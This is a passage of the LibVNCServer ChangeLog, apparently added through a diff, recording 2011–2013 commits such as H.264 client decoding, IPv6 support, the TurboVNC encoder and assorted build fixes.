LibVNCClient: Add H.264 encoding for framebuffer + updates This patch implements support in LibVNCClient for framebuffer + updates encoded as H.264 frames. Hardware accelerated decoding is + performed using VA API. This is experimental support to let the community explore the + possibilities offered by the potential bandwidth and latency + reductions that H.264 encoding allows. This may be particularly + useful for use cases such as online gaming, hosted desktops, hosted + set top boxes... This patch only provides the client side support and is meant to be + used with corresponding server-side support, as provided by an + upcoming patch for qemu ui/vnc module (to view the display of a + virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update + messages are generated for a single server framebuffer modification, + the H.264 frame data is sent only with the first update message. + Subsequent update framebuffer messages will contain only the + coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I + submitted with minor enhancements to the gtkvncviewer application: + http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for + libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren + +2013-01-08 David Verbeiren + + * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer. + +2012-09-14 Christian Beier + + * AUTHORS: Add Raphael to AUTHORS. + +2012-09-11 Raphael Kubo da Costa + + * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3) + +2012-09-11 Raphael Kubo da Costa + + * libvncserver/websockets.c: Work around a gcc bug with anonymous + structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly + because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly, + but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 + +2012-09-11 Raphael Kubo da Costa + + * libvncserver/rfbserver.c: Include stdio.h for snprintf(3) + +2012-09-11 Raphael Kubo da Costa + + * libvncserver/websockets.c: Add the required headers for read(2) + +2012-09-11 Raphael Kubo da Costa + + * CMakeLists.txt, configure.ac, libvncserver/websockets.c, + rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in + websocket.c. byteswap.h exists only on glibc, so building libvncserver with + websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with + calls to htobeNN, which should perform the same conversions, be more + portable and avoid the need to check for the platform's endianness. + +2012-09-11 Raphael Kubo da Costa + + * CMakeLists.txt, configure.ac: Do not hardcode the need for + libresolv. libresolv is only present on systems which use glibc; platforms such + as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it + exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES + after performing the necessary tests, since we do not always want to + link against libresolv. + +2012-09-11 Raphael Kubo da Costa + + * common/vncauth.c, libvncclient/rfbproto.c, + libvncclient/sockets.c, libvncserver/httpd.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, + libvncserver/websockets.c: Tune the definitions needed when building + with -ansi. The current definitions were mostly useful to glibc and followed its + feature_test_macros(3) documentation. However, this means other platforms still had problems when building + with strict compilation flags. _BSD_SOURCE, for example, is only + recognized by glibc, and other platforms sometimes need + _XOPEN_SOURCE instead, or even the removal of some definitions (such + as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places, + as what it enables or disables during compilation varies across + systems. + +2012-09-11 Raphael Kubo da Costa + + * libvncserver/sockets.c, libvncserver/websockets.c: Add some + missing feature macro definitions. Building with -ansi failed due to some code (as well as system + headers) using non-C89 features. Fix that by adding the usual + _POSIX_SOURCE and _BSD_SOURCE definitions already present in some + other files. + +2012-09-11 Raphael Kubo da Costa + + * common/turbojpeg.c, libvncserver/tight.c, + libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, + test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source + code. Using C++-style comments when building the code with -ansi does not + work, so be more conservative with the comment style. + +2012-09-11 Raphael Kubo da Costa + + * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to + the compiler, so including that file fails. + +2012-09-11 Raphael Kubo da Costa + + * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it + directly; this caused linking problems for the client and server + examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless + of whether it has been found or not has not been touched by this + commit, though. + +2012-08-19 Christian Beier + + * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, + webclients/novnc/include/base.css, + webclients/novnc/include/black.css, + webclients/novnc/include/blue.css, + webclients/novnc/include/display.js, + webclients/novnc/include/input.js, + webclients/novnc/include/playback.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, + webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, + webclients/novnc/include/web-socket-js/web_socket.js, + webclients/novnc/include/websock.js, + webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, + webclients/novnc/vnc_auto.html: Update noVNC webclient. + +2012-08-19 Christian Beier + + * AUTHORS: Update AUTHORS. + +2012-08-08 Oliver Loch + + * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6 + without IPv4. As requested only those lines are indented that have been changed. + +2012-07-20 Johannes Schindelin + + * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin + +2012-07-19 Rostislav Lisovy + + * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval + conversion Signed-off-by: Rostislav Lisovy Signed-off-by: + Johannes Schindelin + +2012-05-31 Christian Beier + + * libvncserver/config.h, libvncserver/rfbconfig.h: Remove + autogenerated files from repo. + +2012-05-23 Christian Beier + + * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile + Time Version Test Defines. + +2012-05-18 Kyle J. McKay + + * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault + when listenSock/listen6Sock == -1 + +2012-05-09 Christian Beier + + * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, + vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no + too unimportant errors. + +2012-05-07 Christian Beier + + * TODO: Update TODO. + +2012-05-07 Luca Falavigna + + * test/encodingstest.c: Encodingstest: Use format string argument + with fprintf. + +2012-05-05 Christian Beier + + * CMakeLists.txt, configure.ac: Bump version to 0.9.10. + +2012-05-04 Christian Beier + + * ChangeLog: Update ChangeLog for 0.9.9. + +2012-05-04 Christian Beier + + * configure.ac: Enable building DLLs with MinGW32. + +2012-05-04 Christian Beier + + * NEWS: Update NEWS for 0.9.9. + +2012-05-03 Christian Beier + + * libvncclient/rfbproto.c: LibVNCClient: #undef these types in case + it's WIN32. The various other headers include windows.h and the winsock headers + which give an error when SOCKET and socklen_t are already defined. + +2012-05-03 Christian Beier + + * rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff. + +2012-04-30 Christian Beier + + * libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL + to be in sync with LibVNCClient. + +2012-04-30 Christian Beier + + * libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib + related build fixes. + +2012-04-30 Christian Beier + + * configure.ac: Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules. + +2012-04-30 Christian Beier + + * libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG + stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It + still uses JPEG rects as well. Theoretically, we could build + TightPNG with only libpng and libjpeg - without zlib - but libpng + depends on zlib, so this is kinda moot. + +2012-04-27 Christian Beier + + * test/Makefile.am: Only build libjpeg test programs if libjpeg is + actually available. + +2012-04-26 Christian Beier + + * CMakeLists.txt: Fix CMake build of LibVNCClient. + +2012-04-26 Christian Beier + + * libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning. + +2012-04-26 Christian Beier + + * configure.ac: Fix build when no libjpeg is available. + +2012-04-26 Christian Beier + + * examples/android/Makefile.am, libvncserver/Makefile.am: Include + some more missing files for make dist. + +2012-04-25 Christian Beier + + * libvncserver/Makefile.am: Include missing files for make dist. + +2012-04-25 Christian Beier + + * libvncclient/Makefile.am: Fix libvncclient make dist. + +2012-04-25 Christian Beier + + * configure.ac: Better check for Linux build. + +2012-04-25 Christian Beier + + * vncterm/Makefile.am: Binaries that are to be installed should be + all lowercase. + +2012-04-25 Christian Beier + + * CMakeLists.txt, configure.ac: Bump version to 0.9.9. + +2012-04-25 Christian Beier + + * common/turbojpeg.c, libvncserver/rfbserver.c, + libvncserver/websockets.c, test/tjbench.c: Fix some compiler + warnings thrown with newer gcc. + +2012-04-25 Christian Beier + + * test/Makefile.am: Fix turbojpeg tests compilation. + +2012-04-25 DRC + + * common/turbojpeg.c: Fix compilation with some libjpeg + distributions. + +2012-04-22 Monkey + + * libvncclient/rfbproto.c: Added support for UltraVNC Single Click + as originally proposed by Noobius (Boobius) on 6/1/11. Original thread: + + http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860 + +2012-04-15 Christian Beier + + * AUTHORS: Add Philip to AUTHORS. + +2012-04-15 Christian Beier + + * libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS + library available. + +2012-04-15 Christian Beier + + * libvncclient/tls_openssl.c: LibVNCClient: properly free the + openssl session stuff on shutdown. + +2012-04-15 Christian Beier + + * libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS + #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. + +2012-04-14 Christian Beier + + * configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between + libvncclient and libvncserver. + +2012-04-14 Christian Beier + + * libvncclient/Makefile.am, libvncclient/tls.c, + libvncclient/tls_gnutls.c, libvncclient/tls_none.c, + libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version + to the build system. + +2012-04-12 Christian Beier + + * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, + webclients/novnc/include/base.css, + webclients/novnc/include/base64.js, + webclients/novnc/include/display.js, + webclients/novnc/include/input.js, + webclients/novnc/include/jsunzip.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, + webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, + webclients/novnc/include/websock.js, + webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, + webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib. + +2012-04-12 Christian Beier + + * libvncserver/tight.c: Make TurboVNC compress level 3 actually + work. + +2012-04-09 DRC + + * common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace + emulation code, which is only active when using regular libjpeg (not + libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin + +2012-04-02 Christian Beier + + * libvncclient/listen.c, libvncclient/sockets.c, + libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for + LibVNCServer, part four: add copyright notices to files with + non-trivial changes. + +2012-03-29 Johannes Schindelin + + * client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows + keys correctly Signed-off-by: Johannes Schindelin + +2012-03-29 Johannes Schindelin + + * .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin + +2012-03-29 Johannes Schindelin + + * client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP + issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if + the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that + both SDL and X11 keysyms were created with ASCII compatibility in + mind. So as long as we type ASCII symbols, we can map things + trivially. Signed-off-by: Johannes Schindelin + +2012-03-23 DRC + + * CMakeLists.txt: Extend support for the new TurboVNC encoder to the + CMake build system + +2012-03-25 DRC + + * common/turbojpeg.c, common/turbojpeg.h, configure.ac, + libvncserver/Makefile.am, libvncserver/rfbserver.c, + libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h, + rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h, + test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: + Replace TightVNC encoder with TurboVNC encoder. This patch is the + result of further research and discussion that revealed the + following: -- TightPng encoding and the rfbTightNoZlib extension need not + conflict. Since TightPng is a separate encoding type, not supported + by TurboVNC-compatible viewers, then the rfbTightNoZlib extension + can be used solely whenever the encoding type is Tight and disabled + with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically + useless. On the set of 20 low-level datasets that were used to + design the TurboVNC encoder (these include the eight 2D application + captures that were also used when designing the TightVNC encoder, as + well as 12 3D application captures provided by the VirtualGL + Project-- see + http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf), + moving from Compression Level (CL) 5 to CL 9 in the TightVNC + encoder did not increase the compression ratio of any datasets more + than 10%, and the compression ratio only increased by more than 5% + on four of them. The compression ratio actually decreased a few + percent on five of them. In exchange for this paltry increase in + compression ratio, the CPU usage, on average, went up by a factor of + 5. Thus, for all intents and purposes, TightVNC CL 5 provides the + "best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video + workloads significantly more "tightly" than TightVNC CL 5 (~70% + better, in the aggregate) but does not quite achieve the same level + of compression with 2D workloads (~20% worse, in the aggregate.) + This decrease in compression ratio may or may not be noticeable, + since many of the datasets it affects are not performance-critical + (such as the console output of a compilation, etc.) However, for + peace of mind, it was still desirable to have a mode that compressed + with equal "tightness" to TightVNC CL 5, since we proposed to + replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces, + in the aggregate, similar compression ratios on 2D datasets as + TightVNC CL 5. That new mode involves using Zlib level 7 (the same + level used by TightVNC CL 5) but setting the "palette threshold" to + 256, so that indexed color encoding is used whenever possible. This + mode reduces bandwidth only marginally (typically 10-20%) relative + to TurboVNC CL 2 on low-color workloads, in exchange for nearly + doubling CPU usage, and it does not benefit high-color workloads at + all (since those are usually encoded with JPEG.) However, it + provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for + 3D/video workloads, and without using any more CPU time than + necessary. -- The TurboVNC encoder still performs as well or better than the + TightVNC encoder when plain libjpeg is used instead of + libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the + libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper + can be used with plain libjpeg as well. This required updating the + TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0, + mainly because the TurboJPEG 1.2 API handles pixel formats in a much + cleaner way, which made the conversion code easier to write. It + also eases the maintenance to have the wrapper synced as much as + possible with the upstream code base (so I can merge any relevant + bug fixes that are discovered upstream.) The libvncserver version of + the TurboJPEG wrapper is a "lite" version, containing only the JPEG + compression/decompression code and not the lossless transform, YUV + encoding/decoding, and dynamic buffer allocation features from + TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still + checks for the presence of libjpeg-turbo, but only for the purposes + of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder + patch. We cannot use tightQualityLevel for the TurboVNC 1-100 + quality level, because tightQualityLevel is also used by ZRLE. + Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix + afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the + TurboVNC encoder. Relative to the initial TurboVNC encoder patch, + this patch also: -- Adds TightPng support to the TurboVNC encoder -- + Adds the afore-mentioned low-bandwidth mode, which is mapped + externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG + wrapper) as well as TJBench (a benchmark for same.) These are + useful for ensuring that the wrapper still functions correctly and + performantly if it needs to be modified for whatever reason. Both + of these programs are derived from libjpeg-turbo 1.2.0. As with the + TurboJPEG wrapper, they do not contain the more advanced features of + TurboJPEG 1.2, such as YUV encoding/decoding and lossless + transforms. + +2012-03-15 Christian Beier + + * AUTHORS: Add DRC to AUTHORS. + +2012-03-15 Christian Beier + + * rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient + struct. Try to not break ABI between releases. Even if the code gets ugly... + +2012-03-10 DRC + + * x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree + build directory is used + +2012-03-10 DRC + + * libvncserver/rfbserver.c: Fix an issue that affects the existing + Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is + impossible to disable Tight JPEG encoding. The way Tight/Turbo + viewers disable JPEG encoding is by simply not sending the Tight + quality value, causing the server to use the default value of -1. + Thus, cl->tightQualityLevel has to be set to -1 prior to processing + the encodings message for this mechanism to work. Similarly, it is + not guaranteed that the compress level will be set in the encodings + message, so it is set to a default value prior to processing the + message. + +2012-03-10 DRC + + * common/turbojpeg.c, common/turbojpeg.h, configure.ac, + libvncserver/Makefile.am, libvncserver/rfbserver.c, + libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC + encoding support. TurboVNC is a variant of TightVNC that uses the same client/server + protocol (RFB version 3.8t), and thus it is fully cross-compatible + with TightVNC and TigerVNC (with one exception, which is noted + below.) Both the TightVNC and TurboVNC encoders analyze each + rectangle, pick out regions of solid color to send separately, and + send the remaining subrectangles using mono, indexed color, JPEG, or + raw encoding, depending on the number of colors in the subrectangle. + However, TurboVNC uses a fundamentally different selection algorithm + to determine the appropriate subencoding to use for each + subrectangle. Thus, while it sends a protocol stream that can be + decoded by any TightVNC-compatible viewer, the mix of subencoding + types in this protocol stream will be different from those generated + by a TightVNC server. The research that led to TurboVNC is described in the following + report: + http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf. In + summary: 20 RFB captures, representing "common" 2D and 3D + application workloads (the 3D workloads were run using VirtualGL), + were studied using the TightVNC encoder in isolation. Some of the + analysis features in the TightVNC encoder, such as smoothness + detection, were found to generate a lot of CPU usage with little or + no benefit in compression, so those features were disabled. JPEG + encoding was accelerated using libjpeg-turbo (which achieves a 2-4x + speedup over plain libjpeg on modern x86 or ARM processors.) + Finally, the "palette threshold" (minimum number of colors that the + subrectangle must have before it is compressed using JPEG or raw) + was adjusted to account for the fact that JPEG encoding is now quite + a bit faster (meaning that we can now use it more without a CPU + penalty.) TurboVNC has additional optimizations, such as the + ability to count colors and encode JPEG images directly from the + framebuffer without first translating the pixels into RGB. The + TurboVNC encoder compares quite favorably in terms of compression + ratio with TightVNC and generally encodes a great deal faster (often + an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is + roughly equivalent to the one found in version 0.6 of the Unix + TurboVNC Server, with a few minor patches integrated from TurboVNC + 1.1. TurboVNC 1.0 added multi-threading capabilities, which can be + added in later if desired (at the expense of making libvncserver + depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings + than TightVNC, because it uses the identical protocol (and thus a + viewer really has no idea whether it's talking to a TightVNC or + TurboVNC server), and because it doesn't support rfbTightPng (and in + fact conflicts with it-- see below), the TurboVNC and TightVNC + encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with + a TightVNC server, and vice versa. TurboVNC supports + pseudo-encodings for specifying a fine-grained (1-100) quality scale + and specifying chrominance subsampling. If a TurboVNC viewer sends + those to a TightVNC server, then the TightVNC server ignores them, + so the TurboVNC viewer also sends the quality on a 0-9 scale that + the TightVNC server can understand. Similarly, the TurboVNC server + checks first for fine-grained quality and subsampling + pseudo-encodings from the viewer, and failing to receive those, it + then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and + that is when a TightVNC or TigerVNC viewer requests compression + level 0 without JPEG from a TurboVNC server. For performance + reasons, this causes the TurboVNC server to send images directly to + the viewer, bypassing Zlib. When the TurboVNC server does this, it + also sets bits 7-4 in the compression control byte to rfbTightNoZlib + (0x0A), which is unfortunately the same value as rfbTightPng. Older + TightVNC viewers that don't handle PNG will assume that the stream + is uncompressed but still encapsulated in a Zlib structure, whereas + newer PNG-supporting TightVNC viewers will assume that the stream is + PNG. In either case, the viewer will probably crash. Since most + VNC viewers don't expose compression level 0 in the GUI, this is a + relatively rare situation. Description of changes: configure.ac -- Added support for libjpeg-turbo. If passed an + argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines + whether the libjpeg library being used is libjpeg-turbo. + libjpeg-turbo must be used when building the TurboVNC encoder, + because the TurboVNC encoder relies on the libjpeg-turbo + colorspace extensions in order to compress images directly out of + the framebuffer (which may be, for instance, BGRA rather than RGB.) + libjpeg-turbo can optionally be used with the TightVNC encoder as + well, but the speedup will only be marginal (the report linked above + explains why in more detail, but basically it's because of Amdahl's + Law. The TightVNC encoder was designed with the assumption that + JPEG had a very high CPU cost, and thus JPEG is used only + sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This + is necessitated by the fact that libjpeg-turbo often distributes + libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or + /opt/libjpeg-turbo/lib64, and many people prefer to statically + link with it. Thus, more flexibility is needed than is provided by + --with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the + changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is + still used to set the include path.) The addition of JPEG_LDFLAGS + necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because + AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we + want if we're, for instance, linking statically with libjpeg-turbo.) + -- configure does not check for PNG support if TurboVNC encoding is + enabled. This prevents the rfbSendRectEncodingTightPng() function + from being compiled in, since the TurboVNC encoder doesn't (and + can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API + used to compress and decompress JPEG images in memory. It was + originally implemented because it was desirable to use different + types of underlying technologies to compress JPEG on different + platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel + Performance Primitives, etc.) These days, however, libjpeg-turbo + is the only underlying technology used by TurboVNC, so TurboJPEG's + purpose is largely just code simplicity and flexibility. Thus, + since there is no real need for libvncserver to use any technology + other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper + for libjpeg-turbo has been included in-tree so that libvncserver can + be directly linked with libjpeg-turbo. This is convenient because + many modern Linux distros (Fedora, Ubuntu, etc.) now ship + libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC + fine-grained quality level and subsampling encodings and to map + Tight (0-9) quality levels to appropriate fine-grained quality level + and subsampling values if communicating with a TightVNC/TigerVNC + viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of + libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality + level and subsampling encodings as well as the rfbTightNoZlib + constant and notes on its usage. + +2012-03-10 Christian Beier + + * client_examples/SDLvncviewer.c, libvncclient/listen.c, + libvncclient/sockets.c, libvncclient/vncviewer.c, + libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for + LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces + some changes on the client side as well to make clients listen on + IPv6 sockets, too. Like the server side, this also uses a + separate-socket approach. + +2012-03-10 Christian Beier + + * libvncserver/sockets.c: IPv6 support for LibVNCServer, part + onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the + function. + +2012-03-09 Christian Beier + + * webclients/index.vnc: IPv6 support for LibVNCServer, part + twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in + document.location.hostname, so add them if missing. + +2012-02-27 Christian Beier + + * libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c, + rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http + server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach + as well. + +2012-02-27 Christian Beier + + * libvncserver/main.c: IPv6 support for LibVNCServer, part + onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race + condition. + +2012-02-27 Christian Beier + + * libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for + LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in... + +2012-02-20 Christian Beier + + * libvncserver/cargs.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6 + support for LibVNCServer, part one: accept IPv4 and IPv6 + connections. This uses a separate-socket approach since there are systems that do + not support dual binding sockets under *any* circumstances, for + instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus + more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier + +2012-02-11 Mateus Cesar Groess + + * AUTHORS, client_examples/Makefile.am, + client_examples/gtkvncviewer.c, configure.ac: Here is a port of + SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the + viewer, because a GTK GUI seems to be easier to implement than a SDL + one (and it is more integrated with the major Linux Desktops out + there). Signed-off-by: Christian Beier + +2012-02-11 Christian Beier + + * AUTHORS: Update AUTHORS. + +2012-02-10 Kyle J. McKay + + * libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support + Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to + LibVNCServers running with no password and advertising a server + version of 3.7 or greater. + +2012-02-04 Johannes Schindelin + + * AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin + +2012-02-04 Luca Stauble + + * libvncclient/listen.c, libvncclient/sockets.c, + libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter + to specify the ip address for reverse connections For security reasons, it can be important to limit which IP + addresses a LibVNCClient-based client should listen for reverse + connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to + the end of the rfbclient struct, and the function ListenAtTcpPort + retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in + the commit body and adjusted style] Signed-off-by: Luca Stauble Signed-off-by: + Johannes Schindelin + +2012-01-12 Gernot Tenchio + + * libvncserver/websockets.c: websockets: removed debug message + +2012-01-12 Gernot Tenchio + + * libvncserver/websockets.c: websockets: restore errno after logging + an error + +2012-01-12 Gernot Tenchio + + * CMakeLists.txt: cmake: adapted to latest websocket crypto changes + +2011-12-15 Christian Beier + + * rfb/rfbclient.h: Small changes to LibNVCClient doxygen + documentation. + +2011-12-01 Christian Beier + + * libvncserver/Makefile.am: Fix build error when libpng is + available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses + libjpeg features. We could probably seperate that, but for now the + dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. + +2011-12-01 Christian Beier + + * configure.ac: Use AM_SILENT_RULES only when it's actually + available. Otherwise building breaks with older make versions. Happens on OS X + 10.6 for instance. + +2011-11-09 Christian Beier + + * configure.ac, webclients/Makefile.am, webclients/index.vnc, + webclients/java-applet/Makefile.am, + webclients/java-applet/javaviewer.pseudo_proxy.patch, + webclients/java-applet/ssl/Makefile.am, + webclients/java-applet/ssl/README, + webclients/java-applet/ssl/index.vnc, + webclients/java-applet/ssl/onetimekey, + webclients/java-applet/ssl/proxy.vnc, + webclients/java-applet/ssl/ss_vncviewer, + webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso + r-colors+no-tab-traversal.patch, + webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p + atch, webclients/java-applet/ssl/ultra.vnc, + webclients/java-applet/ssl/ultraproxy.vnc, + webclients/java-applet/ssl/ultrasigned.vnc, + webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + webclients/javaviewer.pseudo_proxy.patch, + webclients/ssl/Makefile.am, webclients/ssl/README, + webclients/ssl/index.vnc, webclients/ssl/onetimekey, + webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer, + webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- + tab-traversal.patch, + webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, + webclients/ssl/ultrasigned.vnc, + webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java + stuff into webclients/java-applet. + +2011-11-09 Christian Beier + + * LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am, + classes/index.vnc, classes/javaviewer.pseudo_proxy.patch, + classes/novnc/LICENSE.txt, classes/novnc/README.md, + classes/novnc/favicon.ico, classes/novnc/include/base.css, + classes/novnc/include/base64.js, classes/novnc/include/black.css, + classes/novnc/include/blue.css, classes/novnc/include/des.js, + classes/novnc/include/display.js, classes/novnc/include/input.js, + classes/novnc/include/logo.js, classes/novnc/include/playback.js, + classes/novnc/include/rfb.js, classes/novnc/include/ui.js, + classes/novnc/include/util.js, classes/novnc/include/vnc.js, + classes/novnc/include/web-socket-js/README.txt, + classes/novnc/include/web-socket-js/swfobject.js, + classes/novnc/include/web-socket-js/web_socket.js, + classes/novnc/include/websock.js, classes/novnc/include/webutil.js, + classes/novnc/vnc.html, classes/novnc/vnc_auto.html, + classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc, + classes/ssl/onetimekey, classes/ssl/proxy.vnc, + classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab + -traversal.patch, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, + classes/ssl/ultrasigned.vnc, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, + examples/example.c, examples/pnmshow.c, 